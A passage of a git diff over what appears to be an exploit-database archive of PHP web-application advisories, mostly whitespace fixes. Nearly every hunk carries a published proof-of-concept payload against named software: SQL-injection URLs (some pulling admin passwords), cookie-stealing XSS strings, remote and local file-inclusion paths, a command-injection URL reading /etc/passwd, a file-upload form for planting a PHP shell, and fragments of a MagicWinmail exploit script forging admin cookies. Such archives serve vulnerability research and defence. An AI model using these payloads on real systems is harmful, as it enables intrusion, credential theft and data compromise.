Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_expedition&task=detail&id=-3235' \ No newline at end of file +http://www.example.com/index.php?option=com_expedition&task=detail&id=-3235' \ No newline at end of file diff --git a/platforms/php/webapps/36216.txt b/platforms/php/webapps/36216.txt index 85ef021f2..2b021ebfb 100755 --- a/platforms/php/webapps/36216.txt +++ b/platforms/php/webapps/36216.txt @@ -10,4 +10,4 @@ http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI] http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI] http://www.example.com/jaws/libraries/pear/Services/Weather.php?service=[RFI] http://www.example.com/jaws/libraries/pear/SOAP/Transport.php?transport_include=[RFI] -http://www.example.com/jaws/libraries/pear/Crypt/RSA/MathLoader.php?class_filename=[RFI] \ No newline at end of file +http://www.example.com/jaws/libraries/pear/Crypt/RSA/MathLoader.php?class_filename=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/3622.php b/platforms/php/webapps/3622.php index 8ba286f20..8470a94ea 100755 --- a/platforms/php/webapps/3622.php +++ b/platforms/php/webapps/3622.php @@ -175,7 +175,7 @@ $____suntzu["auth"]="1"; $____suntzu["start"]="9999999999"; $____suntzu["initconfig"]["mailstore_directory"]="C:\\"; $____suntzu["initconfig"]["netstore_driectory"]="C:\\"; -$____suntzu["initconfig"]["postmaster_address"]="postmaster@server"; +$____suntzu["initconfig"]["postmaster_address"]="postmaster@server.com"; $____suntzu["initconfig"]["congratulate_subject"]="welcome"; $____suntzu["initconfig"]["congratulate_content"]="hi"; $____suntzu["initconfig"]["ldap_base_dn"]="o=magicwinmail"; @@ -255,7 +255,7 @@ for ($j=0; $j<count($my_path); $j++){ "Content-Length: ".strlen($data)."\r\n". "Connection: Close\r\n". "Cache-Control: no-cache". - "Cookie: magicwinmail_session_id=$sid; magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server; magicwinmail_login_userid=postmaster\r\n\r\n". + "Cookie: magicwinmail_session_id=$sid; magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server.com; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server.com; magicwinmail_login_userid=postmaster\r\n\r\n". $data; send($packet); @@ -276,7 +276,7 @@ for ($j=0; $j<count($my_path); $j++){ "Host: $host:$port\r\n". "Content-Length: ".strlen($data)."\r\n". "Pragma: no-cache\r\n". - "Cookie: magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server; magicwinmail_login_userid=postmaster\r\n". + "Cookie: magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server.com; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server.com; magicwinmail_login_userid=postmaster\r\n". "Connection: Close\r\n\r\n". $data; send($packet); diff --git a/platforms/php/webapps/36220.txt b/platforms/php/webapps/36220.txt index 955348980..522eb4718 100755 --- a/platforms/php/webapps/36220.txt +++ b/platforms/php/webapps/36220.txt @@ -4,4 +4,4 @@ The 'com_tree' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_tree&Itemid=11&key=-77 uNIOn select 0,version(),2-- \ No newline at end of file +http://www.example.com/index.php?option=com_tree&Itemid=11&key=-77 uNIOn select 0,version(),2-- \ No newline at end of file diff --git a/platforms/php/webapps/36221.txt b/platforms/php/webapps/36221.txt index e35e876b9..358d1e2df 100755 --- a/platforms/php/webapps/36221.txt +++ b/platforms/php/webapps/36221.txt @@ -4,4 +4,4 @@ The 'com_br' component for Joomla! is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_br&controller=resource&view=resource&task=resource_info&Itemid=8&state_id=-33 union select 0,1,version(),3 \ No newline at end of file +http://www.example.com/index.php?option=com_br&controller=resource&view=resource&task=resource_info&Itemid=8&state_id=-33 union select 0,1,version(),3 \ No newline at end of file diff --git a/platforms/php/webapps/36222.txt b/platforms/php/webapps/36222.txt index 0368f6d6c..fa680f4f2 100755 --- a/platforms/php/webapps/36222.txt +++ b/platforms/php/webapps/36222.txt @@ -4,4 +4,4 @@ The 'com_shop' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_shop&view=details&id=-29 union select 0,1,2,version(),4,5,6,7,8,9,10,11,12 \ No newline at end of file +http://www.example.com/index.php?option=com_shop&view=details&id=-29 union select 0,1,2,version(),4,5,6,7,8,9,10,11,12 \ No newline at end of file diff --git a/platforms/php/webapps/36223.txt b/platforms/php/webapps/36223.txt index 1ed7b53d8..115eb80d9 100755 --- a/platforms/php/webapps/36223.txt +++ b/platforms/php/webapps/36223.txt @@ -20,4 +20,4 @@ http://www.example.com/2Moons/includes/pages/ShowTopKB.php?ReportID=[EV!L] http://www.example.com/2Moons/includes/libs/Smarty/Smarty.class.php?file=[EV!L] http://www.example.com/2Moons/includes/pages/adm/ShowModVersionPage.php?File=[EV!L] http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_resource_php.php?_smarty_template=[EV!L] -http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_templatecompilerbase.php?file=[EV!L] \ No newline at end of file +http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_templatecompilerbase.php?file=[EV!L] \ No newline at end of file diff --git a/platforms/php/webapps/36224.txt b/platforms/php/webapps/36224.txt index 263d328b3..9d7908ea9 100755 --- a/platforms/php/webapps/36224.txt +++ b/platforms/php/webapps/36224.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?'[XSS] http://www.example.com/login.php?'[XSS] http://www.example.com/online.php?'[XSS] http://www.example.com/getfiles.php?f=http://xxx&t=js -http://www.example.com/admin/portalcollect.php?f=http://xxx&t=js \ No newline at end of file +http://www.example.com/admin/portalcollect.php?f=http://xxx&t=js \ No newline at end of file diff --git a/platforms/php/webapps/36227.txt b/platforms/php/webapps/36227.txt index 554c935ad..1b733fe62 100755 --- a/platforms/php/webapps/36227.txt +++ b/platforms/php/webapps/36227.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Sgicatalog 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?option=com_sgicatalog&task=view&lang=en&id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_sgicatalog&task=view&lang=en&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36233.txt b/platforms/php/webapps/36233.txt index 378e9cad1..a8d5ceb13 100755 --- a/platforms/php/webapps/36233.txt +++ b/platforms/php/webapps/36233.txt @@ -10,4 +10,4 @@ http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-clicks/ http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript% 3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E -http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_re cord=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_re cord=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36237.txt b/platforms/php/webapps/36237.txt index 4956577a3..7decf01c3 100755 --- a/platforms/php/webapps/36237.txt +++ b/platforms/php/webapps/36237.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary HTML and script code in http://code.google.com/p/asgbookphp/ asgbookphp 1.9 is vulnerable; other versions may also be affected. -http://www.example.com/asgbookphp/index.php/>'><ScRiPt>alert(771818860)</ScRiPt> \ No newline at end of file +http://www.example.com/asgbookphp/index.php/>'><ScRiPt>alert(771818860)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/36242.txt b/platforms/php/webapps/36242.txt index bfc4d7aca..2301a7eb7 100755 --- a/platforms/php/webapps/36242.txt +++ b/platforms/php/webapps/36242.txt @@ -23,4 +23,4 @@ Exploit code : http://sitewordpress/wp-content/themes/[photocrati-Path-theme]/ecomm-sizes.php?prod_id=[SQL] greetz to all muslims and all tryag member's -:) from morocco \ No newline at end of file +:) from morocco \ No newline at end of file diff --git a/platforms/php/webapps/36244.txt b/platforms/php/webapps/36244.txt index 3c3d28826..4a080ac38 100755 --- a/platforms/php/webapps/36244.txt +++ b/platforms/php/webapps/36244.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Boonex Dolphin 6.1 is vulnerable; other versions may also be affected. -http://www.example.com/xml/get_list.php?dataType=ApplyChanges&iNumb=1&iIDcat=(select 1 from AdminMenu where 1=1 group by concat((select password from Admins),rand(0)|0) having min(0) ) \ No newline at end of file +http://www.example.com/xml/get_list.php?dataType=ApplyChanges&iNumb=1&iIDcat=(select 1 from AdminMenu where 1=1 group by concat((select password from Admins),rand(0)|0) having min(0) ) \ No newline at end of file diff --git a/platforms/php/webapps/36245.txt b/platforms/php/webapps/36245.txt index e3bc01207..5e7d8967e 100755 --- a/platforms/php/webapps/36245.txt +++ b/platforms/php/webapps/36245.txt @@ -4,4 +4,4 @@ Innovate Portal is prone to a cross-site scripting vulnerability because it fail An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?cat=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28948044%29%3c%2fScRiPt%3e&content=error&sid=57cdbb83e0ab1b879e0a0f91fbf22781&what=user_notfound \ No newline at end of file +http://www.example.com/index.php?cat=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28948044%29%3c%2fScRiPt%3e&content=error&sid=57cdbb83e0ab1b879e0a0f91fbf22781&what=user_notfound \ No newline at end of file diff --git a/platforms/php/webapps/36248.txt b/platforms/php/webapps/36248.txt index 04305686a..89b4581f3 100755 --- a/platforms/php/webapps/36248.txt +++ b/platforms/php/webapps/36248.txt @@ -10,4 +10,4 @@ http://www.example.com/admin/shop_file_manager.php/login.php/login.php?action=do The following exploit is available for the remote file upload vulnerability: -<html><head><title> creloaded - Remote File Upload </title></head> <br><br><u>UPLOAD FILE:</u><br> <form name="file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> <input type="file" name="file_1"><br> <input name="submit" type="submit" value=" Upload " > </form> <br><u>CREATE FILE:</u><br> <form name="new_file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=save" method="post"> FILE NAME:<br> <input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br> <textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt; <input name="submit" type="submit" value=" Save " > </form> \ No newline at end of file +<html><head><title> creloaded - Remote File Upload </title></head> <br><br><u>UPLOAD FILE:</u><br> <form name="file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> <input type="file" name="file_1"><br> <input name="submit" type="submit" value=" Upload " > </form> <br><u>CREATE FILE:</u><br> <form name="new_file" action="https://www.example.com/admin/shop_file_manager.php/login.php?action=save" method="post"> FILE NAME:<br> <input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br> <textarea name="file_contents" wrap="soft" cols="70" rows="10">&lt;/textarea&gt; <input name="submit" type="submit" value=" Save " > </form> \ No newline at end of file diff --git a/platforms/php/webapps/36252.txt b/platforms/php/webapps/36252.txt index 7515def35..3396862d8 100755 --- a/platforms/php/webapps/36252.txt +++ b/platforms/php/webapps/36252.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary commands within the cont e107 0.7.24 is vulnerable; other versions may also be affected. -http://www.example.com/e107_config.php?cmd=id \ No newline at end of file +http://www.example.com/e107_config.php?cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/36253.txt b/platforms/php/webapps/36253.txt index b2deb6b36..047a37e92 100755 --- a/platforms/php/webapps/36253.txt +++ b/platforms/php/webapps/36253.txt @@ -10,4 +10,4 @@ http://www.example.com/inver/inverseflow/ticketview.php?email= [XSS] http://www.example.com/inver/inverseflow/ticketview.php?email=&id=[XSS] -http://www.example.com/inver/inverseflow/login.php?redirect=[XSS] \ No newline at end of file +http://www.example.com/inver/inverseflow/login.php?redirect=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36254.txt b/platforms/php/webapps/36254.txt index 057b78aac..405998d56 100755 --- a/platforms/php/webapps/36254.txt +++ b/platforms/php/webapps/36254.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Alsbtain Bulletin 1.5 and 1.6 are vulnerable; other versions may also be affected. http://www.example.com/index.php?style=[LFI]%00 -http://www.example.com/index.php?act=[LFI]%00 \ No newline at end of file +http://www.example.com/index.php?act=[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/36259.txt b/platforms/php/webapps/36259.txt index a5e736e19..59437a595 100755 --- a/platforms/php/webapps/36259.txt +++ b/platforms/php/webapps/36259.txt @@ -8,4 +8,4 @@ eFront 3.6.10 is vulnerable; other versions may also be affected. http://www.example.com/enterprise/www/professor.php?ctg=survey&action=preview&surveys_ID=1+and%201=0-- -http://www.example.com/enterprise/www/professor.php?ctg=survey&action=preview&surveys_ID=1+and%201=1-- \ No newline at end of file +http://www.example.com/enterprise/www/professor.php?ctg=survey&action=preview&surveys_ID=1+and%201=1-- \ No newline at end of file diff --git a/platforms/php/webapps/36269.txt b/platforms/php/webapps/36269.txt index 9afa7b37b..a16ddd911 100755 --- a/platforms/php/webapps/36269.txt +++ b/platforms/php/webapps/36269.txt @@ -8,4 +8,4 @@ SjXjV 2.3 is vulnerable; other versions may also be affected. http://www.example.com/post.php?fid=41&tid=-51%20union%20select%201,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+where+table_schema%20=database%28%29-- -http://www.example.com/post.php?fid=41&tid=51 and substring(@@version,1,1)=5 \ No newline at end of file +http://www.example.com/post.php?fid=41&tid=51 and substring(@@version,1,1)=5 \ No newline at end of file diff --git a/platforms/php/webapps/36270.txt b/platforms/php/webapps/36270.txt index 189f79b95..e8cfb85e1 100755 --- a/platforms/php/webapps/36270.txt +++ b/platforms/php/webapps/36270.txt @@ -4,4 +4,4 @@ Plici is prone to a cross-site scripting vulnerability because it fails to suffi An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/l1/p48-search.html[XSS] \ No newline at end of file +http://www.example.com/l1/p48-search.html[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36273.txt b/platforms/php/webapps/36273.txt index 1e60f1801..c8f2237da 100755 --- a/platforms/php/webapps/36273.txt +++ b/platforms/php/webapps/36273.txt @@ -20,4 +20,4 @@ http://www.example.com/vB1/includes/functions_cron.php?nextitem[filename]=[RFI] http://www.example.com/vB1/vb/vb.php?filename=[RFI] http://www.example.com/vB1/install/includes/class_upgrade.php?chosenlib=[RFI] http://www.example.com/vB1/packages/vbattach/attach.php?package=[RFI] -http://www.example.com/vB1/packages/vbattach/attach.php?path=[RFI] \ No newline at end of file +http://www.example.com/vB1/packages/vbattach/attach.php?path=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/36277.txt b/platforms/php/webapps/36277.txt index 3fee7199a..d4b886eba 100755 --- a/platforms/php/webapps/36277.txt +++ b/platforms/php/webapps/36277.txt @@ -4,4 +4,4 @@ IBSng is prone to a cross-site scripting vulnerability because it fails to prope An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/IBSng/util/show_multistr.php?str=[xss] \ No newline at end of file +http://www.example.com/IBSng/util/show_multistr.php?str=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36289.txt b/platforms/php/webapps/36289.txt index f2ad30920..9143aa9f2 100755 --- a/platforms/php/webapps/36289.txt +++ b/platforms/php/webapps/36289.txt @@ -4,4 +4,4 @@ SmartJobBoard is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/36290.txt b/platforms/php/webapps/36290.txt index c9c2afcbe..1814c6b2c 100755 --- a/platforms/php/webapps/36290.txt +++ b/platforms/php/webapps/36290.txt @@ -4,4 +4,4 @@ Admin Bot is prone to an SQL Injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8-- \ No newline at end of file +http://www.example.com/news.php?wgo=666+and+1=2+union+all+select+0,1,BALTAZAR,3,4,5,6,7,8-- \ No newline at end of file diff --git a/platforms/php/webapps/36293.txt b/platforms/php/webapps/36293.txt index d425f0788..3bbf2636d 100755 --- a/platforms/php/webapps/36293.txt +++ b/platforms/php/webapps/36293.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in the context of Centreon 2.3.1 is affected; other versions may also be vulnerable. -http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1 \ No newline at end of file +http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1 \ No newline at end of file diff --git a/platforms/php/webapps/36295.txt b/platforms/php/webapps/36295.txt index ddc72a9e3..3aed95479 100755 --- a/platforms/php/webapps/36295.txt +++ b/platforms/php/webapps/36295.txt @@ -4,4 +4,4 @@ PBCS Technology is prone to an SQL Injection vulnerability because it fails to s Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/articlenav.php?id=[SQLi] \ No newline at end of file +http://www.example.com/articlenav.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36298.txt b/platforms/php/webapps/36298.txt index 5b4c11280..4e93af430 100755 --- a/platforms/php/webapps/36298.txt +++ b/platforms/php/webapps/36298.txt @@ -6,4 +6,4 @@ An attacker could leverage these issues to execute arbitrary script code in the Joomla! 'com_alfcontact' extension 1.9.3 is vulnerable; prior versions may also be affected. -&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail \ No newline at end of file +&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail \ No newline at end of file diff --git a/platforms/php/webapps/36302.txt b/platforms/php/webapps/36302.txt index a7dd2f403..ff662e412 100755 --- a/platforms/php/webapps/36302.txt +++ b/platforms/php/webapps/36302.txt @@ -4,4 +4,4 @@ Content component for Joomla! is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI] \ No newline at end of file +http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI] \ No newline at end of file diff --git a/platforms/php/webapps/36308.txt b/platforms/php/webapps/36308.txt index 7f4046716..fd2374e9a 100755 --- a/platforms/php/webapps/36308.txt +++ b/platforms/php/webapps/36308.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Webistry 1.0 is vulnerable; other versions may also be affected. -http://www.example.com /index.php?pid=14 union select 0,1,2,3,version(),5,6,7 \ No newline at end of file +http://www.example.com /index.php?pid=14 union select 0,1,2,3,version(),5,6,7 \ No newline at end of file diff --git a/platforms/php/webapps/3631.txt b/platforms/php/webapps/3631.txt index 7252b23df..b62378223 100755 --- a/platforms/php/webapps/3631.txt +++ b/platforms/php/webapps/3631.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| @@ -14,7 +14,7 @@ * * * [~] Portal.......: Flexphpnews version 0.0.5 -* [~] Download.....: http://www.china-on-server/flexphpsite/other.php +* [~] Download.....: http://www.china-on-site.com/flexphpsite/other.php * [~] Author.......: Dj7xpl | Dj7xpl@yahoo.com * [~] Class........: Remote SQL Injection Vulnerability * diff --git a/platforms/php/webapps/36317.txt b/platforms/php/webapps/36317.txt index d6ab7eb07..7762bd3a1 100755 --- a/platforms/php/webapps/36317.txt +++ b/platforms/php/webapps/36317.txt @@ -4,4 +4,4 @@ Flexible Custom Post Type plugin for WordPress is prone to a cross-site scriptin An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36322.txt b/platforms/php/webapps/36322.txt index 3c521cc05..0b4a78d19 100755 --- a/platforms/php/webapps/36322.txt +++ b/platforms/php/webapps/36322.txt @@ -4,4 +4,4 @@ Digital Attic Foundation CMS is prone to an SQL-injection vulnerability because A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/index.php?id=[SQL] \ No newline at end of file +http://www.example.com/index.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36323.txt b/platforms/php/webapps/36323.txt index 219b42a36..56eca39f3 100755 --- a/platforms/php/webapps/36323.txt +++ b/platforms/php/webapps/36323.txt @@ -4,4 +4,4 @@ Alert Before Your Post plugin for WordPress is prone to a cross-site scripting v An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36324.txt b/platforms/php/webapps/36324.txt index b07a2ae88..3cd299e76 100755 --- a/platforms/php/webapps/36324.txt +++ b/platforms/php/webapps/36324.txt @@ -8,4 +8,4 @@ Advanced Text Widget 2.0.0 is vulnerable; other versions may also be affected. UPDATE Apr 18, 2012: Further reports indicate the issue reported may not be valid. This BID will be updated as more information emerges. -http://www.example.com/[path]/wp-content/plugins/advanced-text-widget/advancedtext.php?page=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/advanced-text-widget/advancedtext.php?page=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36325.txt b/platforms/php/webapps/36325.txt index 2cee900ae..97a954d26 100755 --- a/platforms/php/webapps/36325.txt +++ b/platforms/php/webapps/36325.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Adminimize 1.7.21 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/adminimize/adminimize_page.php?page=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/adminimize/adminimize_page.php?page=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36326.txt b/platforms/php/webapps/36326.txt index 7b9ed553f..c4a293ef8 100755 --- a/platforms/php/webapps/36326.txt +++ b/platforms/php/webapps/36326.txt @@ -8,4 +8,4 @@ Lanoba Social Plugin 1.0 is vulnerable; other versions may also be affected. UPDATE (Nov 28, 2011): The vendor refutes this issue claiming they are not able to replicate the problem, and all inputs are sanitized. This BID will be updated, and possibly retired pending further information. -http://www.example.com/[path]/wp-content/plugins/lanoba-social-plugin/index.php?action=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/lanoba-social-plugin/index.php?action=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36329.txt b/platforms/php/webapps/36329.txt index 3bca692a1..b0d1121c4 100755 --- a/platforms/php/webapps/36329.txt +++ b/platforms/php/webapps/36329.txt @@ -4,4 +4,4 @@ TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver. -http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60 \ No newline at end of file +http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60 \ No newline at end of file diff --git a/platforms/php/webapps/36338.txt b/platforms/php/webapps/36338.txt index 69815dbe9..b19a43537 100755 --- a/platforms/php/webapps/36338.txt +++ b/platforms/php/webapps/36338.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ClickDesk Live Support 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36339.txt b/platforms/php/webapps/36339.txt index e96a2cfbb..127b86dad 100755 --- a/platforms/php/webapps/36339.txt +++ b/platforms/php/webapps/36339.txt @@ -8,4 +8,4 @@ Featurific For WordPress 1.6.2 is vulnerable; other versions may also be affecte UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. -http://www.example.com/[path]/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36340.txt b/platforms/php/webapps/36340.txt index 751477d8e..ec6fe7256 100755 --- a/platforms/php/webapps/36340.txt +++ b/platforms/php/webapps/36340.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Newsletter Meenews 5.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/meenews/newsletter.php?idnews=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/meenews/newsletter.php?idnews=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36344.txt b/platforms/php/webapps/36344.txt index 08f94bd4d..98a5bf0c3 100755 --- a/platforms/php/webapps/36344.txt +++ b/platforms/php/webapps/36344.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. GET: http://<app_base>/admin/ajaxfilemanager/ajax_save_text.php -POST: folder=<script>alert(&#039;XSS 1&#039;);</script>&name=<script>alert(&#039;XSS 2&#039;);</script> \ No newline at end of file +POST: folder=<script>alert(&#039;XSS 1&#039;);</script>&name=<script>alert(&#039;XSS 2&#039;);</script> \ No newline at end of file diff --git a/platforms/php/webapps/36346.txt b/platforms/php/webapps/36346.txt index a593013a0..1ac6f167b 100755 --- a/platforms/php/webapps/36346.txt +++ b/platforms/php/webapps/36346.txt @@ -13,4 +13,4 @@ line 72: echo &#039;<br /><strong>TESTING INFO:</strong> Time page: <strong>&#03 ... line 75: echo "GLOBALS[$main_page] and HTTP_GET_VARS[&#039;main_page&#039;] and _GET[&#039;main_page&#039;] = " . $GLOBALS[&#039;main_page&#039;] . &#039; - &#039; . $HTTP_GET_VARS[&#039;main_page&#039;] . &#039; - &#039; . $_GET[&#039;main_page&#039;] . &#039;<br /><br />&#039;; ... -line 76: echo "_SERVER[&#039;PHP_SELF&#039;] and 